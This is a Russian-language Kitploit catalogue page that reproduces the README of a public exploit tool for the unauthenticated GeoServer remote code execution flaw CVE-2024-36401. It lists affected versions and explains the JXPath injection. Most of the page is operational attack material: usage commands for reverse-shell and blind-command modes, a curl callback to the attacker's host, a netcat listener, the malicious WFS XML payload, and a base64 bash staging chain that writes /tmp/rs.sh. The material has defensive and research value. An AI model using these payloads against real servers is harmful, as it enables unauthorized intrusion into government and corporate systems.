Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-36401-poc — Неаутентифицированный эксплойт RCE для GeoServer (CVE-2024-36401) через XPath-инъекцию в фильтре OGC. Поддерживает reverse shell и слепое выполнение команд с автоматическим определением версии и зондированием типов объектов. | Kitploit
Инструменты/GitHubGitHub/delt-a/cve-2024-36401-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного Доступа
GitHubdelt-a/cve-2024-36401-poc

CVE-2024-36401-poc

Неаутентифицированный эксплойт RCE для GeoServer (CVE-2024-36401) через XPath-инъекцию в фильтре OGC. Поддерживает reverse shell и слепое выполнение команд с автоматическим определением версии и зондированием типов объектов.

Репозиторий
133 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-36401 — GeoServer OGC XPath Injection RCE

Python CVE CVSS License

Эксплойт неаутентифицированного удалённого выполнения кода для GeoServer через внедрение параметра valueReference в OGC-фильтры (выполнение XPath/JXPath).

Отказ от ответственности: Этот инструмент предназначен только для авторизованного тестирования на проникновение и исследований в области безопасности. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Автор не несёт ответственности за неправомерное использование или ущерб, причинённый данным инструментом.


Содержание

  • Обзор
  • Затронутые версии
  • Технические подробности
  • Требования
  • Установка
  • Использование
  • Примеры
  • Принцип работы
  • Устранение неполадок
  • Ссылки

Обзор

GeoServer — это сервер на Java с открытым исходным кодом для обмена геопространственными данными, широко развёрнутый в государственных, корпоративных и научных средах. CVE-2024-36401 позволяет неаутентифицированному злоумышленнику выполнять произвольные команды ОС на хосте путём внедрения Java-выражений в параметры OGC-фильтров (Open Geospatial Consortium).

Уязвимость была добавлена в каталог CISA Known Exploited Vulnerabilities (KEV) в июле 2024 года из-за активной эксплуатации в реальных атаках.


Затронутые версии

ВеткаУязвимый диапазонИсправлено в
2.23.x< 2.23.62.23.6
2.24.x< 2.24.42.24.4
2.25.x< 2.25.22.25.2

Версии GeoServer старше 2.23.0 также, вероятно, уязвимы, но больше не поддерживаются и не тестировались.


Технические подробности

GeoServer использует библиотеку GeoTools для вычисления выражений OGC-фильтров. Параметр valueReference (а также другие, например CQL_FILTER) передаётся в JXPathContext.selectNodes() из Apache Commons JXPath без санитизации.

JXPath поддерживает вызов произвольных Java-методов через выражения вида:

exec(java.lang.Runtime.getRuntime(), 'id')

Это вычисление происходит до проверки аутентификации для определённых конечных точек, что делает уязвимость полностью неаутентифицированной.

Уязвимые конечные точки:

  • POST /geoserver/wfs — запрос GetPropertyValue с параметром valueReference
  • GET /geoserver/ows — тот же параметр через строку запроса

Ключевое техническое замечание: выражение valueReference должно использовать одинарные кавычки (') вокруг строки команды. Двойные кавычки (") вызывают ошибки разбора XML и препятствуют выполнению — это распространённая ошибка в других публичных PoC.


Требования

  • Python 3.9+
  • библиотека requests
  • Целевая система с уязвимой версией GeoServer, имеющая хотя бы один доступный тип объектов WFS (достаточно стандартных демонстрационных рабочих областей sf, topp, tiger)

Установка

git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests

Или установите зависимости напрямую:

pip3 install requests

Использование

usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
                                  [-c CMD] [-f FEATURE]

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   Target URL, e.g. http://<TARGET>:8080
  -l, --lhost LHOST     Your IP address for reverse shell callback
  -p, --lport LPORT     Listener port (default: 4444)
  -c, --cmd CMD         Single command to execute (no output returned)
  -f, --feature FEATURE Feature type override (auto-detected if omitted)

Режимы

РежимФлагиОписание
Обратная оболочка-l LHOST -p LPORTДвухэтапная обратная оболочка через bash
Выполнение команды-c CMDВыполнение одной команды (вслепую — без вывода)
Переопределение типа объекта-f FEATUREПропустить автоопределение, использовать указанный тип

Примеры

1. Обратная оболочка (рекомендуется)

Сначала запустите прослушиватель:

nc -lvnp 4444

Затем запустите эксплойт:

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444

Ожидаемый вывод:

   _______    ________    ___   ____ ___  __ __       _____ _____ __ __  ____
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__  // ___// // / / __ \
 / /    | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__/ / /_/ /__  __/ /_/ /
\____/  |___/_____/    /____/\____/____/ /_/       /____/\____/  /_/  \____/
   ___
  <  /
  / /
 / /
/_/

  GeoServer OGC XPath Injection RCE  |  CVE-2024-36401
  Unauthenticated  |  CVSS 9.8  |  Affects < 2.25.2 / 2.24.4 / 2.23.6

[*] Target : http://<TARGET>:8080

[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites

[*] Feature type : sf:archsites
[*] Listener      : <LHOST>:4444
[*] Start         : nc -lvnp 4444

[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener

На прослушивателе:

Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$

2. Выполнение команды (вслепую)

Выполните команду без получения вывода. Полезно для внешней проверки (out-of-band) или записи файлов:

# Проверка выполнения через создание файла
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "touch /tmp/pwned"

# Вызов curl callback для подтверждения выполнения
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "curl http://<LHOST>:8000/pwned"

Примечание: команды, содержащие метасимволы оболочки (>, |, &, ;), автоматически кодируются в base64, чтобы избежать проблем с разбором.


3. Указание типа объекта вручную

Если автоматическое определение не удалось, укажите известный тип объекта целевой системы:

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444 \
  -f topp:states

Распространённые типы объектов, входящие в демонстрационные данные GeoServer:

Рабочая областьТип объекта
sfsf:archsites, sf:bugsites, sf:roads, sf:streams
topptopp:states, topp:tasmania_cities, topp:tasmania_roads
tigertiger:giant_polygon, tiger:poi, tiger:tiger_roads
citecite:Buildings

Принцип работы

Эксплойт отправляет WFS-запрос GetPropertyValue с вредоносным выражением valueReference:

<wfs:GetPropertyValue service='WFS' version='2.0.0'
  xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>
    exec(java.lang.Runtime.getRuntime(),'COMMAND')
  </wfs:valueReference>
</wfs:GetPropertyValue>

Для обратной оболочки используется двухэтапный подход, чтобы избежать проблем с метасимволами оболочки внутри строкового аргумента exec():

Этап 1 — запись обратной оболочки в /tmp/rs.sh с использованием base64-кодирования и подстановки фигурных скобок в bash (без пробелов в строке exec):

bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}

Этап 2 — выполнение скрипта:

bash /tmp/rs.sh
Скачать инструмент